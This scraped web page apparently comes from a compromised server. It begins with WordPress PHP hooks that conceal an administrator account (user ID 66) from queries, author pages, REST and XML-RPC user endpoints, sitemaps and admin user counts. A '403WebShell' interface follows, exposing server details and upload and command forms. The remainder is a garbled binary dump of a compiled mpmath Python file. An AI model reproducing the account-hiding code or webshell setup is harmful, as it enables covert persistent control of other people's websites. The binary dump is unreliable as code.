add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mpmath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mpmath/__pycache__/ctx_mp_python.cpython-312.pyc
�

�"`b����ddlmZmZddlmZmZmZmZmZm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZddlZm[Z[ddlZm\Z\e]j�Z_Gd�de]�Z`Gd�de`�Zad	Zbd
ZcdZddec�d
ed�d�Zed3d�Zfefdddd�ea_gefddeczdeczdedz�ea_hefddeczdeczdedz�ea_iefddeczdeczdedz�ea_jefd d!eczd"eczd#edz�ea_kefd$d%eczd&eczd'�ea_lefd(eed)eczd*edz�ea_meaj�ea_neaj�ea_oeaj�ea_peaj�ea_rGd+�d,ea�ZsGd-�d.e`�ZteuetfZvGd/�d0e]�Zw	d1d2lxZxexj�j�et�exj�j�ea�y2#e|$rYy2wxYw)4�)�
basestring�exec_)W�MPZ�MPZ_ZERO�MPZ_ONE�	int_types�repr_dps�round_floor�
round_ceiling�dps_to_prec�
round_nearest�prec_to_dps�
ComplexResult�to_pickable�
from_pickable�	normalize�from_int�
from_float�from_npfloat�from_Decimal�from_str�to_int�to_float�to_str�
from_rational�from_man_exp�fone�fzero�finf�fninf�fnan�mpf_abs�mpf_pos�mpf_neg�mpf_add�mpf_sub�mpf_mul�mpf_mul_int�mpf_div�mpf_rdiv_int�mpf_pow_int�mpf_mod�mpf_eq�mpf_cmp�mpf_lt�mpf_gt�mpf_le�mpf_ge�mpf_hash�mpf_rand�mpf_sum�bitcount�to_fixed�
mpc_to_str�mpc_to_complex�mpc_hash�mpc_pos�mpc_is_nonzero�mpc_neg�
mpc_conjugate�mpc_abs�mpc_add�mpc_add_mpf�mpc_sub�mpc_sub_mpf�mpc_mul�mpc_mul_mpf�mpc_mul_int�mpc_div�mpc_div_mpf�mpc_pow�mpc_pow_mpf�mpc_pow_int�mpc_mpf_div�mpf_pow�mpf_pi�
mpf_degree�mpf_e�mpf_phi�mpf_ln2�mpf_ln10�	mpf_euler�mpf_catalan�	mpf_apery�mpf_khinchin�mpf_glaisher�
mpf_twinprime�mpf_mertensr)�rational)�
function_docsc��eZdZdZgZd�Zy)�	mpnumericzBase class for mpf and mpc.c��t��N)�NotImplementedError)�cls�vals  �6/usr/lib/python3/dist-packages/mpmath/ctx_mp_python.py�__new__zmpnumeric.__new__$s��!�!�N)�__name__�
__module__�__qualname__�__doc__�	__slots__re�rfrdr^r^!s��%��I�"rfr^c�p�eZdZdZdgZefd�Zed��Zed��Z	ed��Z
ed��Zed��Z
ed	��Zed
��Zed��Zed��Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�ZeZd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d �Z&d!�Z'd"�Z(d#�Z)d$�Z*d%�Z+d&�Z,d+d(�Z-d)�Z.d*�Z/y'),�_mpfz�
    An mpf instance holds a real-valued floating-point number. mpf:s
    work analogously to Python floats, but support arbitrary-precision
    arithmetic.
    �_mpf_c��|jj\}}|r6|jd|�}d|vrt|d�}|jd|�}t	|�|ur9|j
\}}}}|s|r|St
|�}	t||||||�|	_|	St	|�turzt|�dk(r&t
|�}	t|d|d||�|	_|	St|�dk(r2|\}}}}t
|�}	t|t|�||||�|	_|	St�t
|�}	t|j|||�||�|	_|	S)z�A new mpf can be created from a Python float, an int, a
        or a decimal string representing a number in floating-point
        format.�prec�dps�rounding��r�)�context�_prec_rounding�getr�typero�newr�tuple�lenrr�
ValueErrorr#�mpf_convert_arg)
rbrc�kwargsrqrs�sign�man�exp�bc�vs
          rdrez_mpf.__new__/sN�����3�3���h���:�:�f�d�+�D����"�6�%�=�1���z�z�*�h�7�H���9���!$����D�#�s�B��S��
��C��A���c�3��D�(�C�A�G��H�
�#�Y�%�
��3�x�1�}���H��&�s�1�v�s�1�v�t�X�F������3�x�1�}�%(�"��c�3����H��#�D�#�c�(�C��T�8�L��������C��A��c�1�1�#�t�X�F��h�W�A�G��Hrfc�b�t|t�rt|�St|t�rt	|�St|t
�r
t
|||�St||jj�r|j||�St|d�r|jSt|d�rC|jj|j||��}t|d�r|jSt|d�r!|j\}}||k(r|Std��t!dt#|�z��)Nro�_mpmath_�_mpi_z,can only create mpf from zero-width interval�cannot create mpf from )�
isinstancerr�floatrrrrw�constant�func�hasattrro�convertr�r�r~�	TypeError�repr)rb�xrqrs�t�a�bs       rdrz_mpf.mpf_convert_argPs����a��#�H�Q�K�%7��a���
�1�
�!5��a��$�X�a��x�-H�&H��a����-�-�.�q�v�v�d�H�7M�0M��1�g��q�w�w���1�j�!����#�#�A�J�J�t�X�$>�?�A��q�'�"��w�w���1�g���7�7�D�A�q��A�v����K�L�L��1�D��G�;�<�<rfc�X�t|t�rt|�St|t�rt	|�St|t
�r|jj|�St|tj�r0|j\}}t|||jj�St|d�r|jSt|d�rV|jj|j |jj"��}t|d�r|jS|St$S)Nror�)r�rrr�r�
complex_typesrw�mpcr[�mpq�_mpq_rrqr�ror�r�rx�NotImplemented)rbr��p�qr�s     rd�mpf_convert_rhsz_mpf.mpf_convert_rhsbs����a��#�H�Q�K�%7��a���
�1�
�!5��a��'�������0B�)B��a����&��7�7�D�A�q� ��A�s�{�{�'7�'7�8�8��1�g��q�w�w���1�j�!����#�#�J�A�J�J����0J�0J�$K�L�A��q�'�"��w�w���H��rfc��|j|�}t|�tur|jj	|�S|Sr`)r�rzr|rw�make_mpf)rbr�s  rd�mpf_convert_lhsz_mpf.mpf_convert_lhsrs8������"����7�e���;�;�'�'��*�*��rfc� �|jddS)Nr��ro��selfs rd�<lambda>z
_mpf.<lambda>ys��D�J�J�q��O�rfc� �|jdS�Nrr�r�s rdr�z
_mpf.<lambda>z����
�
�1�
�rfc� �|jdS)Nrtr�r�s rdr�z
_mpf.<lambda>{r�rfc� �|jdS)Nr�r�r�s rdr�z
_mpf.<lambda>|s��t�z�z�!�}�rfc��|Sr`rlr�s rdr�z
_mpf.<lambda>~s���rfc�.�|jjSr`)rw�zeror�s rdr�z
_mpf.<lambda>s�����!2�!2�rfc��|Sr`rlr�s rdr�z
_mpf.<lambda>�s��T�rfc�,�t|j�Sr`)rror�s rd�__getstate__z_mpf.__getstate__�s��;�t�z�z�#:�:rfc�$�t|�|_yr`)rro�r�rcs  rd�__setstate__z_mpf.__setstate__�s
��m�C�.@��rfc��|jjrt|�Sdt|j|jj
�zS)Nz	mpf('%s'))rw�pretty�strrro�_repr_digits��ss rd�__repr__z
_mpf.__repr__�s8���9�9����q�6�M��V�A�G�G�Q�Y�Y�-C�-C�D�D�Drfc�V�t|j|jj�Sr`)rrorw�_str_digitsr�s rd�__str__z_mpf.__str__�s��6�!�'�'�1�9�9�+@�+@�A�Arfc�,�t|j�Sr`)r3ror�s rd�__hash__z
_mpf.__hash__�s��H�Q�W�W�-�-rfc�>�tt|j��Sr`)�intrror�s rd�__int__z_mpf.__int__�s��3�v�a�g�g��/�/rfc�>�tt|j��Sr`)�longrror�s rd�__long__z
_mpf.__long__�s��D������1�1rfc�^�t|j|jjd��S�Nr)�rnd)rrorwrxr�s rd�	__float__z_mpf.__float__�s!��X�a�g�g�1�9�9�3K�3K�A�3N�O�Orfc�*�tt|��Sr`)�complexr�r�s rd�__complex__z_mpf.__complex__�s��w�u�Q�x�0�0rfc�(�|jtk7Sr`)rorr�s rd�__nonzero__z_mpf.__nonzero__�s��q�w�w�%�/�/rfc�t�|j\}}\}}||�}t|j||�|_|Sr`)�_ctxdatar"ro�r�rbr{rqrsr�s      rd�__abs__z_mpf.__abs__��9��%&�Z�Z�"��S�"�4����H���!�'�'�4��2����rfc�t�|j\}}\}}||�}t|j||�|_|Sr`)r�r#ror�s      rd�__pos__z_mpf.__pos__�r�rfc�t�|j\}}\}}||�}t|j||�|_|Sr`)r�r$ror�s      rd�__neg__z_mpf.__neg__�r�rfc��t|d�r
|j}n|j|�}|tur|S||j|�S�Nro)r�ror�r�)r�r�r�s   rd�_cmpz	_mpf._cmp�sC���1�g�����A��!�!�!�$�A��N�"����A�G�G�Q��rfc�.�|j|t�Sr`)r�r.�r�r�s  rd�__cmp__z_mpf.__cmp__�s��a�f�f�Q��0�0rfc�.�|j|t�Sr`)r�r/r�s  rd�__lt__z_mpf.__lt__����Q�V�V�A�v�.�.rfc�.�|j|t�Sr`)r�r0r�s  rd�__gt__z_mpf.__gt__�r�rfc�.�|j|t�Sr`)r�r1r�s  rd�__le__z_mpf.__le__�r�rfc�.�|j|t�Sr`)r�r2r�s  rd�__ge__z_mpf.__ge__�r�rfc�>�|j|�}|tur|S|Sr`��__eq__r�)r�r�r�s   rd�__ne__z_mpf.__ne__��#��
�H�H�Q�K������H��u�rfc���|j\}}\}}t|�tvr0||�}tt	|�|j
||�|_|S|j
|�}|tur|S||z
Sr`)r�rzrr&rror�r��r�r�rbr{rqrsr�s       rd�__rsub__z
_mpf.__rsub__�sq��%&�Z�Z�"��S�"�4����7�i���C��A��h�q�k�1�7�7�D�(�C�A�G��H�
���a� ������H��1�u�rfc���|j\}}\}}t|t�r'||�}t||j||�|_|S|j|�}|tur|S||zSr`)r�r�rr*ror�r�r�s       rd�__rdiv__z
_mpf.__rdiv__�sk��%&�Z�Z�"��S�"�4���a��#��C��A�"�1�a�g�g�t�X�>�A�G��H�
���a� ������H��1�u�rfc�B�|j|�}|tur|S||zSr`�r�r�r�s  rd�__rpow__z
_mpf.__rpow__��(��
���a� ������H��A�v�
rfc�B�|j|�}|tur|S||zSr`r�r�s  rd�__rmod__z
_mpf.__rmod__��(��
���a� ������H��1�u�rfc�8�|jj|�Sr`)rw�sqrtr�s rdr�z	_mpf.sqrt�s���y�y�~�~�a� � rfNc�>�|jj||||�Sr`�rw�almosteq�r�r��rel_eps�abs_epss    rd�aez_mpf.ae�����y�y�!�!�!�Q���9�9rfc�.�t|j|�Sr`)r7ro)r�rqs  rdr7z
_mpf.to_fixed�s����
�
�D�)�)rfc�,�tt|�g|���Sr`)�roundr�)r��argss  rd�	__round__z_mpf.__round__�s���U�4�[�(�4�(�(rf�NN)0rgrhrirjrkrre�classmethodrr�r��property�man_expr�r�r��real�imag�	conjugater�r�r�r�r�r�r�r�r�r��__bool__r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rr7rrlrfrdrnrn's���
�	�I���B�=��=�"�
��
������3�4�G�
�-�
.�C�
�-�
.�C�	�,�	-�B��%�&�D��2�3�D�!�I�:�@�E�
B�-�/�1�O�0�/��H���� �1�.�.�.�.��	�	���!�:�*�)rfrna

def %NAME%(self, other):
    mpf, new, (prec, rounding) = self._ctxdata
    sval = self._mpf_
    if hasattr(other, '_mpf_'):
        tval = other._mpf_
        %WITH_MPF%
    ttype = type(other)
    if ttype in int_types:
        %WITH_INT%
    elif ttype is float:
        tval = from_float(other)
        %WITH_MPF%
    elif hasattr(other, '_mpc_'):
        tval = other._mpc_
        mpc = type(other)
        %WITH_MPC%
    elif ttype is complex:
        tval = from_float(other.real), from_float(other.imag)
        mpc = self.context.mpc
        %WITH_MPC%
    if isinstance(other, mpnumeric):
        return NotImplemented
    try:
        other = mpf.context.convert(other, strings=False)
    except TypeError:
        return NotImplemented
    return self.%NAME%(other)
z-; obj = new(mpf); obj._mpf_ = val; return objz-; obj = new(mpc); obj._mpc_ = val; return objzD
        try:
            val = mpf_pow(sval, tval, prec, rounding) z�
        except ComplexResult:
            if mpf.context.trap_complex:
                raise
            mpc = mpf.context.mpc
            val = mpc_pow((sval, fzero), (tval, fzero), prec, rounding) �
c���t}|jd|�}|jd|�}|jd|�}|jd|�}i}t|t�|�||S)Nz
%WITH_INT%z
%WITH_MPC%z
%WITH_MPF%z%NAME%)�
mpf_binary_op�replacer�globals)�name�with_mpf�with_int�with_mpc�code�nps      rd�	binary_oprsc���D��<�<��h�/�D��<�<��h�/�D��<�<��h�/�D��<�<��$�'�D�	�B�	�$��	�2��
�d�8�Orfr�zreturn mpf_eq(sval, tval)z$return mpf_eq(sval, from_int(other))z3return (tval[1] == fzero) and mpf_eq(tval[0], sval)�__add__z)val = mpf_add(sval, tval, prec, rounding)z4val = mpf_add(sval, from_int(other), prec, rounding)z-val = mpc_add_mpf(tval, sval, prec, rounding)�__sub__z)val = mpf_sub(sval, tval, prec, rounding)z4val = mpf_sub(sval, from_int(other), prec, rounding)z2val = mpc_sub((sval, fzero), tval, prec, rounding)�__mul__z)val = mpf_mul(sval, tval, prec, rounding)z.val = mpf_mul_int(sval, other, prec, rounding)z-val = mpc_mul_mpf(tval, sval, prec, rounding)�__div__z)val = mpf_div(sval, tval, prec, rounding)z4val = mpf_div(sval, from_int(other), prec, rounding)z-val = mpc_mpf_div(sval, tval, prec, rounding)�__mod__z)val = mpf_mod(sval, tval, prec, rounding)z4val = mpf_mod(sval, from_int(other), prec, rounding)z+raise NotImplementedError("complex modulo")�__pow__z.val = mpf_pow_int(sval, other, prec, rounding)z2val = mpc_pow((sval, fzero), tval, prec, rounding)c�6�eZdZdZdd�Zdd�Zed��Zd�Zy)	�	_constantz�Represents a mathematical constant with dynamic precision.
    When printed or used in an arithmetic operation, a constant
    is converted to a regular mpf at the working precision. A
    regular mpf can also be obtained using the operation +x.c�x�tj|�}||_||_t	t
|d�|_|S)N�)�objectrerr��getattrr\rj)rbr�r�docnamer�s     rdrez_constant.__new__Ns3���N�N�3����������M�7�B�7��	��rfNc��|jj\}}|s|}|s|}|rt|�}|jj|j	||��Sr`)rwrxrr�r�)r�rqrrrs�prec2�	rounding2s      rd�__call__z_constant.__call__UsP���<�<�6�6���y��E�T��I���{�3�'���|�|�$�$�T�Y�Y�t�X�%>�?�?rfc�X�|jj\}}|j||�Sr`)rwrxr�)r�rqrss   rdroz_constant._mpf_\s&�����4�4���h��y�y��x�(�(rfc�h�d|j�d|jj|d����d�S)N�<z: �)rrz~>)rrw�nstrr�s rdr�z_constant.__repr__as$��"�i�i����):�):�4�B�<�)H�I�Irf)r&)NNN)	rgrhrirjrer-rror�rlrfrdr$r$Hs-��@�
�@��)��)�Jrfr$c��eZdZdZdgZd d�Zed��Zed��Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�Zd�Zd�ZeZd�Zed��Zd�Zd�Zd�ZeZeZeZeZd�Zd�Zd�Zd�Z d�Z!eZ"d�Z#d�Z$d�Z%d�Z&e Z'e%Z(d!d�Z)y)"�_mpcz�
    An mpc represents a complex number using a pair of mpf:s (one
    for the real part and another for the imaginary part.) The mpc
    class behaves fairly similarly to Python's complex type.
    �_mpc_c�f�tj|�}t|t�r|j|j
}}nt
|d�r|j|_|S|jj|�}|jj|�}|j|jf|_|S)Nr5)r'rer�r�r
rr�r5rw�mpfro)rbr
rr�s    rdrez_mpc.__new__ns����N�N�3����d�M�*����D�I�I�$�D�
�T�7�
#��j�j�A�G��H��{�{���t�$���{�{���t�$���:�:�t�z�z�*����rfc�R�|jj|jd�S)Nru�rwr�r5r�s rdr�z
_mpc.<lambda>z������!6�!6�t�z�z�!�}�!E�rfc�R�|jj|jd�Sr�r9r�s rdr�z
_mpc.<lambda>{r:rfc�b�t|jd�t|jd�fS�Nrur)rr5r�s rdr�z_mpc.__getstate__}s'���4�:�:�a�=�)�;�t�z�z�!�}�+E�E�Erfc�F�t|d�t|d�f|_yr=)rr5r�s  rdr�z_mpc.__setstate__�s ��"�3�q�6�*�M�#�a�&�,A�A��
rfc���|jjrt|�St|j�dd}t|j
�dd}t
|�j�d|�d|�d�S)Nrv���z(real=z, imag=�))rwr�r�r�r
rrzrg)r��r�is   rdr�z
_mpc.__repr__�sW���9�9����q�6�M�����L��2�������L��2���)-�a��)9�)9�1�a�@�@rfc�\�dt|j|jj�zS)Nz(%s))r8r5rwr�r�s rdr�z_mpc.__str__�s"���
�1�7�7�A�I�I�,A�,A�B�B�Brfc�^�t|j|jjd��Sr�)r9r5rwrxr�s rdr�z_mpc.__complex__�s"���a�g�g�1�9�9�+C�+C�A�+F�G�Grfc�t�|j\}}\}}||�}t|j||�|_|Sr`)r�r;r5r�s      rdr�z_mpc.__pos__�r�rfc��|jj\}}t|jj�}t	|j
||�|_|Sr`)rwrxr{r7r?r5ro)r�rqrsr�s    rdr�z_mpc.__abs__�s@�����1�1���h���	�	�
�
����!�'�'�4��2����rfc�t�|j\}}\}}||�}t|j||�|_|Sr`)r�r=r5r�s      rdr�z_mpc.__neg__�r�rfc�t�|j\}}\}}||�}t|j||�|_|Sr`)r�r>r5r�s      rdrz_mpc.conjugate�s9��%&�Z�Z�"��S�"�4����H�������x�8����rfc�,�t|j�Sr`)r<r5r�s rdr�z_mpc.__nonzero__�s���a�g�g�&�&rfc�,�t|j�Sr`)r:r5r�s rdr�z
_mpc.__hash__�s������ � rfc�h�	|jj|�}|S#t$r	tcYSwxYwr`)rwr�r�r�)rbr��ys   rd�mpc_convert_lhsz_mpc.mpc_convert_lhs�s5��	"����#�#�A�&�A��H���	"�!�!�	"�s��1�1c���t|d�s,t|t�ry|j|�}|tur|S|j
|j
k(xr|j|jk(S)Nr5F)r�r�r�rNr�r
rr�s  rdr�z_mpc.__eq__�s[���q�'�"��!�S�!���!�!�!�$�A��N�"����v�v�����4�A�F�F�a�f�f�$4�4rfc�>�|j|�}|tur|S|Sr`r�)r�r�r�s   rdr�z_mpc.__ne__�r�rfc��td��)Nz3no ordering relation is defined for complex numbers)r�)rs rd�_comparez
_mpc._compare�s���M�N�Nrfc�R�|j\}}\}}t|d�sX|j|�}|tur|St|d�r1||�}t	|j
|j||�|_|S||�}t|j
|j
||�|_|S�Nr5ro)r�r�rNr�rAr5ror@r�s       rdrz_mpc.__add__����%&�Z�Z�"��S�"�4���q�'�"��!�!�!�$�A��N�"����q�'�"���H��%�a�g�g�q�w�w��h�G�������H���!�'�'�1�7�7�D�(�;����rfc�R�|j\}}\}}t|d�sX|j|�}|tur|St|d�r1||�}t	|j
|j||�|_|S||�}t|j
|j
||�|_|SrT)r�r�rNr�rCr5rorBr�s       rdrz_mpc.__sub__�rUrfc���|j\}}\}}t|d�s�t|t�r'||�}t	|j
|||�|_|S|j
|�}|tur|St|d�r1||�}t|j
|j||�|_|S|j
|�}||�}t|j
|j
||�|_|SrT)r�r�r�rrFr5rNr�rErorDr�s       rdrz_mpc.__mul__�s���%&�Z�Z�"��S�"�4���q�'�"��!�Y�'���H��%�a�g�g�q�$��A������!�!�!�$�A��N�"����q�'�"���H��%�a�g�g�q�w�w��h�G������!�!�!�$�A���H���!�'�'�1�7�7�D�(�;����rfc�R�|j\}}\}}t|d�sX|j|�}|tur|St|d�r1||�}t	|j
|j||�|_|S||�}t|j
|j
||�|_|SrT)r�r�rNr�rHr5rorGr�s       rdr z_mpc.__div__�rUrfc��|j\}}\}}t|t�r'||�}t|j|||�|_|S|j|�}|tur|S||�}t|d�r)t|j|j||�|_|St|j|j||�|_|Sr�)r�r�rrKr5rNr�r�rJrorIr�s       rdr"z_mpc.__pow__s���%&�Z�Z�"��S�"�4���a��#��C��A�!�!�'�'�1�d�H�=�A�G��H�
���a� ������H���H���1�g��!�!�'�'�1�7�7�D�(�C�A�G����a�g�g�q�w�w��h�?�A�G��rfc�B�|j|�}|tur|S||z
Sr`�rNr�r�s  rdr�z
_mpc.__rsub__r�rfc���|j\}}\}}t|t�r'||�}t|j|||�|_|S|j|�}|tur|S||zSr`)r�r�rrFr5rNr�r�s       rd�__rmul__z
_mpc.__rmul__$sk��%&�Z�Z�"��S�"�4���a��#��C��A�!�!�'�'�1�d�H�=�A�G��H�
���a� ������H��1�u�rfc�B�|j|�}|tur|S||zSr`r[r�s  rdr�z
_mpc.__rdiv__/r�rfc�B�|j|�}|tur|S||zSr`r[r�s  rdr�z
_mpc.__rpow__5r�rfNc�>�|jj||||�Sr`r�r�s    rdrz_mpc.ae>rrf)rurur	)*rgrhrirjrkrerr
rr�r�r�r�r�r�r�r�rr�rr�r
rNr�r�rRr�r�r�rrrr r"�__radd__r�r]r�r��__truediv__�__rtruediv__rrlrfrdr4r4es�����	�I�
��E�F�D��E�F�D�F�B�A�C�H�����'��H�!��"��"�5��O��F�
�F�
�F�
�F����&�� �H��	����K��L�:rfr4c��eZdZd�Zd�Zd�Zd�Zd�Zd�Ze	d�e�Z
e	d�e�Zdd	�Zd
�Z
d�Zd�Zd
�Zdd�Zdd�Zdd�Zdd�Zed��Zd�Zd�Zd�Zy)�PythonMPContextc��dtg|_tdtfi�|_tdt
fi�|_|jt|jg|j_|jt|jg|j_||j_	||j_	tdtfi�|_|jt|jg|j_||j_	y)N�5r7r�r�)r
rxrzrnr7r4r�r{r�rwr$r���ctxs rd�__init__zPythonMPContext.__init__Gs��� �-�0����u�t�g�r�*����u�t�g�r�*����G�G�S�#�*<�*<�=������G�G�S�#�*<�*<�=����������������J���b�9���!$���#�s�/A�/A� B�����"����rfc�>�t|j�}||_|Sr`)r{r7ro�rir�r�s   rdr�zPythonMPContext.make_mpfS�������L������rfc�>�t|j�}||_|Sr`)r{r�r5rls   rd�make_mpczPythonMPContext.make_mpcXrmrfc�L�dx|_|jd<d|_d|_y)Nrgrur1F)�_precrx�_dps�trap_complexrhs rd�defaultzPythonMPContext.default]s(��,.�.��	�C�&�&�q�)���� ��rfc�v�tdt|��x|_|jd<t	|�|_y)Nrru)�maxr�rqrxrrr�ri�ns  rd�	_set_preczPythonMPContext._set_precbs.��,/��3�q�6�N�:��	�C�&�&�q�)��q�>��rfc�v�t|�x|_|jd<tdt	|��|_yr=)rrqrxrvr�rrrws  rd�_set_dpszPythonMPContext._set_dpsfs.��,7��N�:��	�C�&�&�q�)��q�#�a�&�>��rfc��|jSr`)rqrhs rdr�zPythonMPContext.<lambda>js
���	�	�rfc��|jSr`)rrrhs rdr�zPythonMPContext.<lambda>ks
��s�x�x�rfc�4�t|�|jvr|St|t�r|j	t|��St|t�r|j	t|��St|t�r9|jt|j�t|j�f�St|�jdk(r|j|�St|tj�r<t!j"t%|j&�t%|j(��}|j*\}}t|t j"�r+|j,\}}|j	t/|||��S|r/t|t0�r	t3|||�}|j	|�St7|d�r|j	|j8�St7|d�r|j|j:�St7|d�r!|j=|j?||��St|�jdk(r|j	tA|||��S|jC||�S#Y��KxYw#t4$rY��wxYw#Y�-xYw)a�
        Converts *x* to an ``mpf`` or ``mpc``. If *x* is of type ``mpf``,
        ``mpc``, ``int``, ``float``, ``complex``, the conversion
        will be performed losslessly.

        If *x* is a string, the result will be rounded to the present
        working precision. Strings representing fractions or complex
        numbers are permitted.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> mpmathify(3.5)
            mpf('3.5')
            >>> mpmathify('2.1')
            mpf('2.1000000000000001')
            >>> mpmathify('3/4')
            mpf('0.75')
            >>> mpmathify('2+3j')
            mpc(real='2.0', imag='3.0')

        �numpyror5r��decimal)"rz�typesr�rr�rr�rr�ror
rrh�	npconvert�numbers�Rationalr[r�r��	numerator�denominatorrxr�rrrr~r�ror5r�r�r�_convert_fallback)rir��stringsrqrsr�r�ros        rdr�zPythonMPContext.convertms��,��7�c�i�i�����a��#�C�L�L��!��,E�%E��a������Z��]�(C�!C��a��!��<�<��A�F�F�!3�Z����5G� H�I�I���7����(����q�1A�*A��a��)�)�*��\�\�#�a�k�k�"2�C��
�
�4F�G���+�+���h��a����&��7�7�D�A�q��<�<�
�a��D� 9�:�:��z�!�Z�0�
� ��D�(�3���|�|�E�*�*��1�g��s�|�|�A�G�G�'<� <��1�g��s�|�|�A�G�G�'<� <��1�j�!��;�;�q�z�z�$��9�:�:���7����*����\�!�T�8�%D�E�E��$�$�Q��0�0��%
�D���
��
��
�D�s*�:<I<�J�J�<J�	J�J�Jc��ddl}t||j�r#|jt	t|���St||j�r|jt|��St||j�r9|jt|j�t|j�f�Stdt|�z��)z^
        Converts *x* to an ``mpf`` or ``mpc``. *x* should be a numpy
        scalar.
        ruNr�)rr��integerr�rr��floatingr�complexfloatingror
rr�r�)rir�rs   rdr�zPythonMPContext.npconvert�s���
	��a����$�S�\�\�(�3�q�6�:J�-K�&K��a����%�c�l�l�<��?�.K�'K��a��+�+�,��<�<��a�f�f�!5�|�A�F�F�7K� L�M�M��1�D��G�;�<�<rfc�\�t|d�r|jtk(St|d�rt|jvSt	|t
�st	|tj�ry|j|�}t|d�st|d�r|j|�Std��)a�
        Return *True* if *x* is a NaN (not-a-number), or for a complex
        number, whether either the real or complex part is NaN;
        otherwise return *False*::

            >>> from mpmath import *
            >>> isnan(3.14)
            False
            >>> isnan(nan)
            True
            >>> isnan(mpc(3.14,2.72))
            False
            >>> isnan(mpc(3.14,nan))
            True

        ror5Fzisnan() needs a number as input)r�ror!r5r�rr[r�r��isnanr�)rir�s  rdr�zPythonMPContext.isnan�s���"�1�g���7�7�d�?�"��1�g���1�7�7�?�"��a��#�z�!�X�\�\�'B���K�K��N���1�g��'�!�W�"5��9�9�Q�<���9�:�:rfc��t|d�r|jttfvSt|d�r-|j\}}|ttfvxs|ttfvSt|t�st|tj�ry|j|�}t|d�st|d�r|j|�Std��)a�
        Return *True* if the absolute value of *x* is infinite;
        otherwise return *False*::

            >>> from mpmath import *
            >>> isinf(inf)
            True
            >>> isinf(-inf)
            True
            >>> isinf(3)
            False
            >>> isinf(3+4j)
            False
            >>> isinf(mpc(3,inf))
            True
            >>> isinf(mpc(inf,3))
            True

        ror5Fzisinf() needs a number as input)r�rorr r5r�rr[r�r��isinfr�)rir��re�ims    rdr�zPythonMPContext.isinf�s���(�1�g���7�7�t�U�m�+�+��1�g���W�W�F�B���$���&�=�"��u�
�*=�=��a��#�z�!�X�\�\�'B���K�K��N���1�g��'�!�W�"5��9�9�Q�<���9�:�:rfc���t|d�rt|jd�St|d�rG|j\}}t|d�}t|d�}|tk(r|S|tk(r|S|xr|St|t�st|tj�rt|�S|j|�}t|d�st|d�r|j|�Std��)a�
        Determine whether *x* is "normal" in the sense of floating-point
        representation; that is, return *False* if *x* is zero, an
        infinity or NaN; otherwise return *True*. By extension, a
